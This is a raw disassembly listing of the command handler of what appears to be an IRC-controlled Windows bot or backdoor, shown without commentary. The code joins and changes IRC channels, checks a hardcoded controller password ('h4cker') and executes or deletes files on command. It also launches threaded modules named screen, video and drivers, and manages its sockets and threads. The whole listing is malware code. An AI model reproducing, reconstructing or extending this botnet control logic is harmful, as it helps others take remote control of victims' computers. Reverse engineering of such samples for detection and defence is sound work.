; ---------------------------------------------------------------------------
loc_40892B: ; CODE XREF: sub_401B66+48AFj
; sub_401B66+48C6j
push edi
lea eax, [ebp+var_2C0]
push offset dword_42CB14
push eax
call sub_41C056
mov esi, [ebp+arg_10]
push esi
call sub_41BF49
add esp, 10h
test eax, eax
jle loc_40976F
push esi
call sub_41BF49
cmp eax, 400h
pop ecx
jge loc_40976F
lea eax, [ebp+var_2C0]
push eax
push offset dword_42B53C
push esi
call sub_41BF49
imul eax, 234h
pop ecx
push dword_440BA4[eax]
call sub_40993C
push edi
push esi
push offset dword_42B514
loc_40898E: ; CODE XREF: sub_401B66+6EB0j
; sub_401B66+6F1Cj ...
call sub_415819
jmp loc_404292
; ---------------------------------------------------------------------------
loc_408998: ; CODE XREF: sub_401B66+4881j
; sub_401B66+4898j
cmp [ebp+var_C], ebx
jz loc_40976F
push edi
push [ebp+var_C]
call sub_41C0D0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_4089C7
push esi
lea eax, [ebp+var_2C0]
push offset dword_42B50C
push eax
call sub_41C056
add esp, 0Ch
loc_4089C7: ; CODE XREF: sub_401B66+6E4Aj
mov edi, [ebp+arg_10]
push edi
call sub_41BF49
test eax, eax
pop ecx
jle loc_40976F
push edi
call sub_41BF49
cmp eax, 400h
pop ecx
jge loc_40976F
lea eax, [ebp+var_2C0]
push eax
push offset dword_42B53C
push edi
call sub_41BF49
imul eax, 234h
pop ecx
push dword_440BA4[eax]
call sub_40993C
push esi
push edi
push offset dword_42B4F0
jmp loc_40898E
; ---------------------------------------------------------------------------
loc_408A1B: ; CODE XREF: sub_401B66+4853j
; sub_401B66+486Aj
cmp [ebp+var_C], ebx
jz loc_40976F
push edi
push [ebp+var_C]
call sub_41C0D0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40976F
mov edi, [ebp+arg_10]
push edi
call sub_41BF49
test eax, eax
pop ecx
jle loc_40976F
push edi
call sub_41BF49
cmp eax, 400h
pop ecx
jge loc_40976F
push esi
push offset dword_42B53C
push edi
call sub_41BF49
imul eax, 234h
pop ecx
push dword_440BA4[eax]
call sub_40993C
push esi
push edi
push offset dword_42B4D4
jmp loc_40898E
; ---------------------------------------------------------------------------
loc_408A87: ; CODE XREF: sub_401B66+4825j
; sub_401B66+483Cj
cmp [ebp+var_C], ebx
jz loc_40976F
push [ebp+arg_10]
push [ebp+var_C]
call sub_41C0D0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40976F
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_40993C
push esi
push offset unk_42B4AC
loc_408ABB: ; CODE XREF: sub_401B66+7AD3j
; sub_401B66+7AF0j ...
call sub_415819
jmp loc_4034DF
; ---------------------------------------------------------------------------
loc_408AC5: ; CODE XREF: sub_401B66+47F7j
; sub_401B66+480Ej
push [ebp+var_8C]
push offset dword_42DFCC
call sub_41C840
pop ecx
test eax, eax
pop ecx
jz loc_401F9E
push edi
push offset dword_42B4A0
push [ebp+arg_4]
call sub_40993C
push [ebp+arg_10]
call sub_41BF49
imul eax, 3E8h
add esp, 10h
push eax
call dword_428064 ; Sleep
push [ebp+esi+var_84]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40993C
push offset dword_42B48C
call sub_4157A5
jmp loc_4034DF
; ---------------------------------------------------------------------------
loc_408B29: ; CODE XREF: sub_401B66+47C9j
; sub_401B66+47E0j
cmp [ebp+var_C], ebx
jz loc_40976F
push [ebp+arg_10]
call sub_41B7B0
push [ebp+arg_8]
mov esi, eax
call sub_41B7B0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41C0D0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40976F
push esi
lea eax, [ebp+var_2C0]
push offset dword_42BBC4
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push ebx
push eax
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409982
push esi
push [ebp+arg_10]
push offset unk_42B470
call sub_415819
add esp, 2Ch
jmp loc_40976F
; ---------------------------------------------------------------------------
loc_408B9B: ; CODE XREF: sub_401B66+479Bj
; sub_401B66+47B2j
cmp [ebp+var_C], ebx
jz loc_40976F
push [ebp+arg_10]
call sub_41B7B0
push [ebp+arg_8]
mov esi, eax
call sub_41B7B0
add eax, [ebp+var_C]
push edi
lea eax, [eax+esi+2]
push eax
call sub_41C0D0
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_40976F
push ebx
push ebx
push esi
push [ebp+arg_10]
push [ebp+arg_4]
call sub_409982
push esi
push [ebp+arg_10]
push offset unk_42B450
call sub_415819
add esp, 20h
jmp loc_40976F
; ---------------------------------------------------------------------------
loc_408BF5: ; CODE XREF: sub_401B66+476Dj
; sub_401B66+4784j
cmp [ebp+var_C], ebx
jz loc_401F9E
push edi
push [ebp+var_C]
call sub_41C0D0
pop ecx
cmp eax, ebx
pop ecx
jz loc_401F9E
push eax
push [ebp+arg_10]
call sub_4156AD
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset unk_42B430
push eax
call sub_41C056
add esp, 14h
jmp loc_403FC3
; ---------------------------------------------------------------------------
loc_408C36: ; CODE XREF: sub_401B66+473Fj
; sub_401B66+4756j
push edi
push [ebp+arg_10]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_418BBC
loc_408C4B: ; CODE XREF: sub_401B66+25A2j
add esp, 14h
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_408C53: ; CODE XREF: sub_401B66+4701j
; sub_401B66+4716j
push [ebp+arg_10]
push [ebp+arg_1C]
call sub_41C0D0
pop ecx
test eax, eax
pop ecx
jz loc_40976F
mov esi, [ebp+esi+var_88]
cmp esi, ebx
jz short loc_408CEE
push esi
push [ebp+var_C]
call sub_41C0D0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
lea eax, [ebp+var_2C0]
jz short loc_408CDC
push esi
push [ebp+var_88]
push [ebp+var_8C]
push [ebp+var_90]
push offset dword_42B684
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push 1FFh
push eax
push [ebp+arg_0]
call sub_41BDC0
push esi
lea eax, [ebp+var_2C0]
push [ebp+arg_10]
push offset unk_42B408
push eax
call sub_41C056
add esp, 34h
inc [ebp+arg_24]
jmp loc_4090C0
; ---------------------------------------------------------------------------
loc_408CDC: ; CODE XREF: sub_401B66+7122j
push offset unk_42B3D8
push eax
call sub_41C056
pop ecx
pop ecx
jmp loc_4090C0
; ---------------------------------------------------------------------------
loc_408CEE: ; CODE XREF: sub_401B66+710Bj
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_41B4B0
add esp, 0Ch
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset dword_42B3BC
push 200h
push eax
call sub_41C150
add esp, 24h
jmp loc_4090C0
; ---------------------------------------------------------------------------
loc_408D37: ; CODE XREF: sub_401B66+46D7j
; sub_401B66+46ECj
push offset aScreen ; "screen"
push [ebp+arg_10]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_408D92
mov edi, [ebp+esi+var_88]
cmp edi, ebx
jz short loc_408D7F
push edi
call sub_4159B5
cmp eax, 1
pop ecx
lea eax, [ebp+var_2C0]
jnz short loc_408D78
push edi
push offset unk_42B388
push eax
call sub_41C056
add esp, 0Ch
jmp short loc_408D92
; ---------------------------------------------------------------------------
loc_408D78: ; CODE XREF: sub_401B66+71FFj
push offset unk_42B358
jmp short loc_408D8A
; ---------------------------------------------------------------------------
loc_408D7F: ; CODE XREF: sub_401B66+71EDj
push offset unk_42B31C
lea eax, [ebp+var_2C0]
loc_408D8A: ; CODE XREF: sub_401B66+7217j
push eax
call sub_41C056
pop ecx
pop ecx
loc_408D92: ; CODE XREF: sub_401B66+71E2j
; sub_401B66+7210j
push offset aDrivers ; "drivers"
push [ebp+arg_10]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_408E1F
xor edi, edi
loc_408DA7: ; CODE XREF: sub_401B66+72A4j
lea eax, [ebp+var_53F4]
push 1FFh
push eax
lea eax, [ebp+var_4EEC]
push 0FFh
push eax
push edi
call dword_4CDC94
test eax, eax
jz short loc_408E06
lea eax, [ebp+var_53F4]
push eax
lea eax, [ebp+var_4EEC]
push eax
push edi
lea eax, [ebp+var_5D84]
push offset unk_42B2EC
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_5D84]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 28h
loc_408E06: ; CODE XREF: sub_401B66+7262j
inc edi
cmp edi, 0Ah
jl short loc_408DA7
lea eax, [ebp+var_2C0]
push offset unk_42B2C4
push eax
call sub_41C056
pop ecx
pop ecx
loc_408E1F: ; CODE XREF: sub_401B66+723Dj
push offset aFrame ; "frame"
push [ebp+arg_10]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_408EC0
cmp [ebp+esi+var_88], ebx
jz short loc_408EAD
cmp [ebp+esi+var_84], ebx
jz short loc_408EAD
mov edi, [ebp+esi+var_80]
cmp edi, ebx
jz short loc_408EAD
mov eax, [ebp+esi+var_7C]
cmp eax, ebx
jz short loc_408EAD
push eax
call sub_41BF49
pop ecx
push eax
push edi
call sub_41BF49
pop ecx
push eax
push [ebp+esi+var_84]
call sub_41BF49
pop ecx
push eax
push [ebp+esi+var_88]
call sub_415BF0
add esp, 10h
test eax, eax
lea eax, [ebp+var_2C0]
jnz short loc_408EA6
push [ebp+esi+var_88]
push offset unk_42B290
push eax
call sub_41C056
add esp, 0Ch
jmp short loc_408EC0
; ---------------------------------------------------------------------------
loc_408EA6: ; CODE XREF: sub_401B66+7327j
push offset unk_42B25C
jmp short loc_408EB8
; ---------------------------------------------------------------------------
loc_408EAD: ; CODE XREF: sub_401B66+72D7j
; sub_401B66+72E0j ...
push offset unk_42B224
lea eax, [ebp+var_2C0]
loc_408EB8: ; CODE XREF: sub_401B66+7345j
push eax
call sub_41C056
pop ecx
pop ecx
loc_408EC0: ; CODE XREF: sub_401B66+72CAj
; sub_401B66+733Ej
push offset aVideo ; "video"
push [ebp+arg_10]
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz loc_40909F
mov eax, [ebp+esi+var_88]
cmp eax, ebx
mov [ebp+arg_1C], eax
jz loc_408F6B
mov eax, [ebp+esi+var_84]
cmp eax, ebx
mov [ebp+arg_0], eax
jz short loc_408F6B
mov eax, [ebp+esi+var_80]
cmp eax, ebx
mov [ebp+arg_18], eax
jz short loc_408F6B
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
jz short loc_408F6B
mov esi, [ebp+esi+var_78]
cmp esi, ebx
jz short loc_408F6B
push esi
call sub_41BF49
pop ecx
push eax
push edi
call sub_41BF49
pop ecx
push eax
push [ebp+arg_18]
call sub_41BF49
pop ecx
push eax
push [ebp+arg_0]
call sub_41BF49
pop ecx
push eax
push [ebp+arg_1C]
call sub_415DE9
add esp, 14h
test eax, eax
lea eax, [ebp+var_2C0]
jnz short loc_408F61
push [ebp+arg_1C]
push offset unk_42B1F0
loc_408F53: ; CODE XREF: sub_401B66+6B6Dj
push eax
call sub_41C056
add esp, 0Ch
jmp loc_40909F
; ---------------------------------------------------------------------------
loc_408F61: ; CODE XREF: sub_401B66+73E3j
push offset unk_42B1B0
jmp loc_409097
; ---------------------------------------------------------------------------
loc_408F6B: ; CODE XREF: sub_401B66+737Dj
; sub_401B66+738Fj ...
push offset unk_42B16C
lea eax, [ebp+var_2C0]
jmp loc_409097
; ---------------------------------------------------------------------------
loc_408F7B: ; CODE XREF: sub_401B66+3FE2j
; sub_401B66+3FF7j
push offset aR ; "r"
push [ebp+arg_10]
call sub_41BC92
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz short loc_408FF9
mov esi, 200h
push edi
lea eax, [ebp+var_2C0]
push esi
push eax
call sub_41C31F
add esp, 0Ch
jmp short loc_408FD3
; ---------------------------------------------------------------------------
loc_408FA8: ; CODE XREF: sub_401B66+746Fj
push 1
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
push edi
lea eax, [ebp+var_2C0]
push esi
push eax
call sub_41C31F
add esp, 20h
loc_408FD3: ; CODE XREF: sub_401B66+7440j
test eax, eax
jnz short loc_408FA8
push edi
call sub_41B82B
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset unk_42B148
push eax
call sub_41C056
add esp, 10h
jmp loc_406CBC
; ---------------------------------------------------------------------------
loc_408FF9: ; CODE XREF: sub_401B66+7428j
push [ebp+arg_10]
push offset unk_42B124
jmp loc_406C8C
; ---------------------------------------------------------------------------
loc_409006: ; CODE XREF: sub_401B66+3FB8j
; sub_401B66+3FCDj
cmp [ebp+var_C], ebx
jz loc_40976F
push [ebp+arg_10]
push [ebp+var_C]
call sub_41C0D0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40976F
push offset asc_42B120 ; "\n"
push esi
call sub_41C690
push esi
call sub_41A1FF
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_2C0]
jnz short loc_40904B
push offset unk_42B0F4
jmp short loc_409097
; ---------------------------------------------------------------------------
loc_40904B: ; CODE XREF: sub_401B66+74DCj
push esi
push offset dword_42B0DC
push eax
call sub_41C056
add esp, 0Ch
jmp short loc_4090C0
; ---------------------------------------------------------------------------
loc_40905C: ; CODE XREF: sub_401B66+3F8Ej
; sub_401B66+3FA3j
cmp [ebp+var_C], ebx
jz loc_40976F
push [ebp+arg_10]
push [ebp+var_C]
call sub_41C0D0
pop ecx
cmp eax, ebx
pop ecx
jz loc_40976F
push eax
call sub_4188EC
test eax, eax
pop ecx
lea eax, [ebp+var_2C0]
jnz short loc_409092
push offset unk_42B0BC
jmp short loc_409097
; ---------------------------------------------------------------------------
loc_409092: ; CODE XREF: sub_401B66+7523j
push offset dword_42B0A0
loc_409097: ; CODE XREF: sub_401B66+7400j
; sub_401B66+7410j ...
push eax
call sub_41C056
pop ecx
pop ecx
loc_40909F: ; CODE XREF: sub_401B66+736Bj
; sub_401B66+73F6j
cmp [ebp+var_8], ebx
jnz short loc_4090C0
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
loc_4090C0: ; CODE XREF: sub_401B66+7171j
; sub_401B66+7183j ...
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
pop ecx
jmp loc_40976F
; ---------------------------------------------------------------------------
loc_4090D2: ; CODE XREF: sub_401B66+3F64j
; sub_401B66+3F79j
push 7Fh
lea eax, [ebp+var_2210]
push [ebp+arg_10]
push eax
call sub_41BDC0
mov esi, [ebp+esi+var_88]
add esp, 0Ch
cmp esi, ebx
jz short loc_409103
push 7Fh
lea eax, [ebp+var_2190]
push esi
push eax
call sub_41BDC0
add esp, 0Ch
loc_409103: ; CODE XREF: sub_401B66+7589j
push 7Fh
lea eax, [ebp+var_2110]
push [ebp+var_88]
push eax
call sub_41BDC0
mov eax, [ebp+arg_4]
push [ebp+arg_10]
mov [ebp+var_2214], eax
mov eax, [ebp+var_8]
mov [ebp+var_208C], eax
mov eax, [ebp+var_4]
mov [ebp+var_2088], eax
lea eax, [ebp+var_2C0]
push offset dword_42B088
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 1Ch
push eax
call sub_40AF8D
add esp, 24h
mov [ebp+var_2090], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_2214]
push ebx
push eax
push offset sub_41B576
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_2090]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_4091A6
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42B048
jmp loc_40448C
; ---------------------------------------------------------------------------
loc_40919E: ; CODE XREF: sub_401B66+7646j
push 32h
call dword_428064 ; Sleep
loc_4091A6: ; CODE XREF: sub_401B66+7625j
cmp [ebp+var_2084], ebx
jz short loc_40919E
jmp loc_406CBC
; ---------------------------------------------------------------------------
loc_4091B3: ; CODE XREF: sub_401B66+3F3Aj
; sub_401B66+3F4Fj
push ebx
push [ebp+var_88]
push [ebp+arg_4]
push [ebp+arg_10]
call sub_4101B7
push [ebp+arg_10]
push offset dword_42B030
jmp loc_40898E
; ---------------------------------------------------------------------------
loc_4091D2: ; CODE XREF: sub_401B66+3F10j
; sub_401B66+3F25j
push 14h
lea eax, [ebp+var_1D44]
push ebx
push eax
call sub_41BD60
push [ebp+arg_10]
lea eax, [ebp+var_1D30]
push offset aS_2 ; "%s"
push eax
call sub_41C056
mov eax, [ebp+arg_4]
mov [ebp+var_1D4C], eax
lea eax, [ebp+var_C0]
push eax
lea eax, [ebp+var_1C2C]
push 80h
push eax
call sub_41C150
mov eax, [ebp+var_4]
mov [ebp+var_1BA4], eax
mov eax, [ebp+var_8]
mov [ebp+var_1BA0], eax
lea eax, [ebp+var_1C2C]
push eax
lea eax, [ebp+var_1D30]
push eax
lea eax, [ebp+var_2C0]
push offset unk_42B00C
push eax
call sub_41C056
push ebx
lea eax, [ebp+var_2C0]
push 1Ah
push eax
call sub_40AF8D
add esp, 40h
mov [ebp+var_1BA8], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1D4C]
push ebx
push eax
push offset sub_416398
push ebx
push ebx
call dword_42807C ; CreateThread
mov ecx, [ebp+var_1BA8]
imul ecx, 234h
cmp eax, ebx
mov dword_440BAC[ecx], eax
jnz short loc_4092A7
loc_40928E: ; CODE XREF: sub_401B66+748j
call dword_42808C ; RtlGetLastWin32Error
push eax
push offset unk_42AFD0
jmp loc_408338
; ---------------------------------------------------------------------------
loc_40929F: ; CODE XREF: sub_401B66+7747j
push 32h
call dword_428064 ; Sleep
loc_4092A7: ; CODE XREF: sub_401B66+7726j
cmp [ebp+var_1B9C], ebx
jz short loc_40929F
jmp loc_402418
; ---------------------------------------------------------------------------
loc_4092B4: ; CODE XREF: sub_401B66+3EE6j
; sub_401B66+3EFBj
push [ebp+arg_10]
call dword_428080 ; DeleteFileA
test eax, eax
jz short loc_4092CB
push [ebp+arg_10]
push offset dword_42AFB4
jmp short loc_4092D6
; ---------------------------------------------------------------------------
loc_4092CB: ; CODE XREF: sub_401B66+7759j
push offset dword_42B800
call sub_418827
push eax
loc_4092D6: ; CODE XREF: sub_401B66+7763j
lea eax, [ebp+var_2C0]
push 200h
push eax
call sub_41C150
loc_4092E7: ; CODE XREF: sub_401B66+7856j
add esp, 10h
jmp loc_406C9B
; ---------------------------------------------------------------------------
loc_4092EF: ; CODE XREF: sub_401B66+3EBCj
; sub_401B66+3ED1j
push [ebp+arg_10]
call sub_41BF49
push eax
call sub_41A178
xor esi, esi
pop ecx
inc esi
pop ecx
push [ebp+arg_10]
cmp eax, esi
lea eax, [ebp+var_2C0]
jnz short loc_409316
push offset unk_42AF90
jmp short loc_40931B
; ---------------------------------------------------------------------------
loc_409316: ; CODE XREF: sub_401B66+77A7j
push offset unk_42AF60
loc_40931B: ; CODE XREF: sub_401B66+77AEj
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz loc_406CBF
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
jmp loc_406CBF
; ---------------------------------------------------------------------------
loc_40934E: ; CODE XREF: sub_401B66+3E92j
; sub_401B66+3EA7j
push ebx
push ebx
push [ebp+arg_10]
push [ebp+var_4]
push ebx
push [ebp+arg_4]
call sub_419E77
add esp, 18h
cmp eax, 1
push [ebp+arg_10]
jnz short loc_409374
push offset unk_42AF40
jmp loc_406C8C
; ---------------------------------------------------------------------------
loc_409374: ; CODE XREF: sub_401B66+7802j
push offset unk_42AF10
jmp loc_406C8C
; ---------------------------------------------------------------------------
loc_40937E: ; CODE XREF: sub_401B66+3E68j
; sub_401B66+3E7Dj
mov esi, [ebp+arg_10]
push esi
call dword_4CDCA4 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+var_2D0], eax
jz short loc_4093C1
push 2
lea eax, [ebp+var_2D0]
push 4
push eax
call dword_4CDC1C ; gethostbyaddr
cmp eax, ebx
jz short loc_4093DC
push dword ptr [eax]
loc_4093AA: ; CODE XREF: sub_401B66+7874j
push esi
lea eax, [ebp+var_2C0]
push offset unk_42AEF0
push eax
call sub_41C056
jmp loc_4092E7
; ---------------------------------------------------------------------------
loc_4093C1: ; CODE XREF: sub_401B66+782Bj
push esi
call dword_4CDCE8 ; gethostbyname
cmp eax, ebx
jz short loc_4093DC
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call dword_4CDCF0 ; inet_ntoa
push eax
jmp short loc_4093AA
; ---------------------------------------------------------------------------
loc_4093DC: ; CODE XREF: sub_401B66+7840j
; sub_401B66+7864j
push offset unk_42AEC8
jmp loc_40621B
; ---------------------------------------------------------------------------
loc_4093E6: ; CODE XREF: sub_401B66+3E3Ej
; sub_401B66+3E53j
push 7Fh
push [ebp+arg_10]
push [ebp+arg_14]
call sub_41BDC0
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset unk_42AEA0
push eax
call sub_41C056
add esp, 18h
jmp loc_406EC5
; ---------------------------------------------------------------------------
loc_40940F: ; CODE XREF: sub_401B66+3E14j
; sub_401B66+3E29j
push 5
push ebx
push ebx
push [ebp+arg_10]
push offset aOpen ; "open"
push ebx
call dword_4CDBD0 ; ShellExecuteA
push [ebp+arg_10]
test eax, eax
jz short loc_409433
push offset unk_42AE80
jmp loc_406C8C
; ---------------------------------------------------------------------------
loc_409433: ; CODE XREF: sub_401B66+78C1j
push offset unk_42AE5C
jmp loc_406C8C
; ---------------------------------------------------------------------------
loc_40943D: ; CODE XREF: sub_401B66+3DEAj
; sub_401B66+3DFFj
mov eax, [ebp+arg_10]
mov cl, [eax]
mov byte_42A090, cl
movsx eax, byte ptr [eax]
push eax
push offset unk_42AE34
jmp loc_405F5E
; ---------------------------------------------------------------------------
loc_409456: ; CODE XREF: sub_401B66+3DC0j
; sub_401B66+3DD5j
push [ebp+arg_10]
call sub_41BF49
test eax, eax
pop ecx
jle loc_40976F
push [ebp+arg_10]
call sub_41BF49
cmp eax, 400h
pop ecx
jge loc_40976F
push ebx
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40AF23
push eax
lea eax, [ebp+var_2C0]
push offset dword_42CB14
push eax
call sub_41C056
add esp, 1Ch
jmp loc_4088DA
; ---------------------------------------------------------------------------
loc_4094A5: ; CODE XREF: sub_401B66+3D96j
; sub_401B66+3DABj
mov esi, [ebp+arg_10]
push esi
call sub_41BF49
test eax, eax
pop ecx
jle loc_401F9E
push esi
call sub_41BF49
cmp eax, 400h
pop ecx
jge loc_401F9E
push offset aQuitLater ; "QUIT :later\r\n"
push esi
call sub_41BF49
imul eax, 234h
pop ecx
push dword_440BA4[eax]
call sub_40993C
pop ecx
pop ecx
push 1F4h
call dword_428064 ; Sleep
push esi
call sub_41BF49
imul eax, 234h
pop ecx
push dword_440BA4[eax]
call dword_4CDCFC ; closesocket
push [ebp+var_10]
push esi
call sub_41BF49
imul eax, 234h
pop ecx
push dword_440BAC[eax]
call dword_4280AC ; TerminateThread
push esi
call sub_41BF49
imul eax, 234h
push esi
mov dword_440BAC[eax], ebx
call sub_41BF49
imul eax, 234h
pop ecx
pop ecx
mov byte ptr dword_440998[eax], bl
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_409553: ; CODE XREF: sub_401B66+3D6Cj
; sub_401B66+3D81j
push [ebp+arg_10]
push offset aAll ; "all"
call sub_41C840
pop ecx
test eax, eax
pop ecx
jnz short loc_409584
call sub_40B150
cmp eax, ebx
jle short loc_40957A
push eax
push offset unk_42AE08
jmp loc_4072D7
; ---------------------------------------------------------------------------
loc_40957A: ; CODE XREF: sub_401B66+7A07j
push offset unk_42ADE0
jmp loc_403FB5
; ---------------------------------------------------------------------------
loc_409584: ; CODE XREF: sub_401B66+79FEj
mov eax, [ebp+var_A4]
lea esi, [eax+1]
jmp short loc_4095FB
; ---------------------------------------------------------------------------
loc_40958F: ; CODE XREF: sub_401B66+7A98j
mov edi, [ebp+esi*4+var_90]
cmp edi, ebx
jz loc_401F9E
push edi
call sub_41BF49
push eax
call sub_40B0C8
pop ecx
pop ecx
test eax, eax
push edi
lea eax, [ebp+var_2C0]
jz short loc_4095BE
push offset unk_42ADBC
jmp short loc_4095C3
; ---------------------------------------------------------------------------
loc_4095BE: ; CODE XREF: sub_401B66+7A4Fj
push offset unk_42AD90
loc_4095C3: ; CODE XREF: sub_401B66+7A56j
push eax
call sub_41C056
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_4095ED
push ebx
lea eax, [ebp+var_2C0]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409982
add esp, 14h
loc_4095ED: ; CODE XREF: sub_401B66+7A69j
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
pop ecx
inc esi
loc_4095FB: ; CODE XREF: sub_401B66+7A27j
cmp esi, 20h
jb short loc_40958F
jmp loc_401F9E
; ---------------------------------------------------------------------------
loc_409605: ; CODE XREF: sub_401B66+3D42j
; sub_401B66+3D57j
cmp [ebp+var_C], ebx
jz loc_40976F
push [ebp+arg_10]
push [ebp+var_C]
call sub_41C0D0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_40976F
push esi
push offset dword_42B53C
push [ebp+arg_4]
call sub_40993C
push esi
push offset dword_42AD74
jmp loc_408ABB
; ---------------------------------------------------------------------------
loc_40963E: ; CODE XREF: sub_401B66+3D18j
; sub_401B66+3D2Dj
push [ebp+arg_10]
push offset dword_42B4A0
push [ebp+arg_4]
call sub_40993C
push [ebp+arg_10]
push offset unk_42AD50
jmp loc_408ABB
; ---------------------------------------------------------------------------
loc_40965B: ; CODE XREF: sub_401B66+3CEEj
; sub_401B66+3D03j
push [ebp+esi+var_88]
push [ebp+arg_10]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40993C
push [ebp+arg_10]
push offset unk_42AD2C
jmp loc_40898E
; ---------------------------------------------------------------------------
loc_40967F: ; CODE XREF: sub_401B66+3CC4j
; sub_401B66+3CD9j
push [ebp+arg_10]
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40993C
push [ebp+arg_10]
push offset unk_42AD08
jmp loc_408ABB
; ---------------------------------------------------------------------------
loc_40969C: ; CODE XREF: sub_401B66+312Fj
; sub_401B66+3144j
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_40993C
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset unk_42ACE4
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
push [ebp+arg_10]
call sub_41BF49
add esp, 1Ch
loc_4096D4: ; CODE XREF: sub_401B66+7BBAj
push eax
call dword_428064 ; Sleep
loc_4096DB: ; CODE XREF: sub_401B66+2A49j
xor eax, eax
jmp loc_401FA1
; ---------------------------------------------------------------------------
loc_4096E2: ; CODE XREF: sub_401B66+3105j
; sub_401B66+311Aj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_40993C
push [ebp+arg_10]
lea eax, [ebp+var_2C0]
push offset unk_42ACBC
push eax
call sub_41C056
lea eax, [ebp+var_2C0]
push eax
call sub_4157A5
push [ebp+arg_10]
call sub_41BF49
add esp, 1Ch
imul eax, 3E8h
jmp short loc_4096D4
; ---------------------------------------------------------------------------
loc_409722: ; CODE XREF: sub_401B66+E21j
; sub_401B66+E36j
push [ebp+esi+var_8C]
xor eax, eax
cmp [ebp+var_8EC], bl
setnz al
push eax
lea eax, [ebp+var_334]
push dword_42A098
push eax
call sub_40AF23
lea eax, [ebp+var_334]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_40993C
lea eax, [ebp+var_334]
push eax
push offset unk_42AC98
call sub_415819
loc_40976C: ; CODE XREF: sub_401B66+51C0j
add esp, 24h
loc_40976F: ; CODE XREF: sub_401B66+5CEj
; sub_401B66+5DAj ...
mov eax, [ebp+arg_24]
jmp loc_401FA1
; ---------------------------------------------------------------------------
loc_409777: ; CODE XREF: sub_401B66+A19j
; sub_401B66+A2Ej
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
mov [ebp+arg_10], esi
jz loc_401F9E
cmp [ebp+var_A8], ebx
jnz loc_401F9E
push offset asc_42E0C4 ; "!"
push [ebp+var_90]
call sub_41C8C4
mov esi, eax
push offset word_4CDB1C
push ebx
inc esi
call sub_41C8C4
push offset asc_42AC94 ; "~"
push eax
call sub_41C8C4
push [ebp+arg_10]
mov edi, eax
push offset aH4cker ; "h4cker"
call sub_41C840
add esp, 20h
test eax, eax
jz short loc_40981F
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
push [ebp+arg_4]
call sub_40993C
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
push [ebp+arg_4]
call sub_40993C
push edi
push esi
push offset unk_42AC14
loc_40980B: ; CODE XREF: sub_401B66+7D12j
lea eax, [ebp+var_2C0]
push eax
call sub_41C056
add esp, 30h
jmp loc_402418
